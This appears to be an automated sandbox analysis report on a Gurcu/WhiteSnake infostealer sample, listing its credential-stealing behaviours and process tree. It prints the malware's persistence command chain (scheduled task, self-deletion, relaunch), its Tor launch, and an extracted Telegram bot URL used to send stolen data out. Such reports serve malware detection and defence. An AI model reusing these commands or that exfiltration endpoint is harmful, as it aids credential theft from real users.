Resubmissions
10/04/2024, 02:38
240410-c4pceacb241010/04/2024, 02:37
240410-c4ne4scb231010/04/2024, 02:37
240410-c4llhsca991010/04/2024, 02:37
240410-c4jf6aca981014/10/2023, 01:31
231014-bxezqahg8w10Analysis
- max time kernel
294s - max time network
300s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 02:37
General
- Target k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
- Size 339KB
- Sample240410-c4jf6aca98
- SHA256 d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643
Signatures
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 12 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
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C:\Windows\system32\schtasks.exeschtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
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C:\Windows\System32\tar.exe"C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp474A.tmp" -C "C:\Users\Admin\AppData\Local\lcybndk48g"4⤵
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"4⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exeC:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exeC:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exeC:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exeC:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exeC:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe"C:\Users\Admin\AppData\Local\lcybndk48g\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\lcybndk48g\torrc.txt"2⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe.log
k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
tmp474A.tmp
cached-microdesc-consensus.tmp
cached-microdescs.new
hostname
port.dat
tor.exe
torrc.txt
memory/1760-75-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/1760-76-0x0000022AA41A0000-0x0000022AA41B0000-memory.dmp
memory/1760-79-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/2680-91-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/2680-89-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/2744-100-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/2744-98-0x00000188FE840000-0x00000188FE850000-memory.dmp
memory/2744-97-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/3048-104-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/3048-102-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/4144-116-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/4144-114-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/5068-6-0x00007FFB18360000-0x00007FFB18E21000-memory.dmp
memory/5068-1-0x00007FFB18360000-0x00007FFB18E21000-memory.dmp
memory/5068-4-0x0000013DC4660000-0x0000013DC4670000-memory.dmp
memory/5068-0-0x0000013DA9FB0000-0x0000013DAA00C000-memory.dmp
memory/5108-12-0x000001EB61550000-0x000001EB61560000-memory.dmp
memory/5108-50-0x000001EB61550000-0x000001EB61560000-memory.dmp
memory/5108-48-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp
memory/5108-11-0x00007FFB17280000-0x00007FFB17D41000-memory.dmp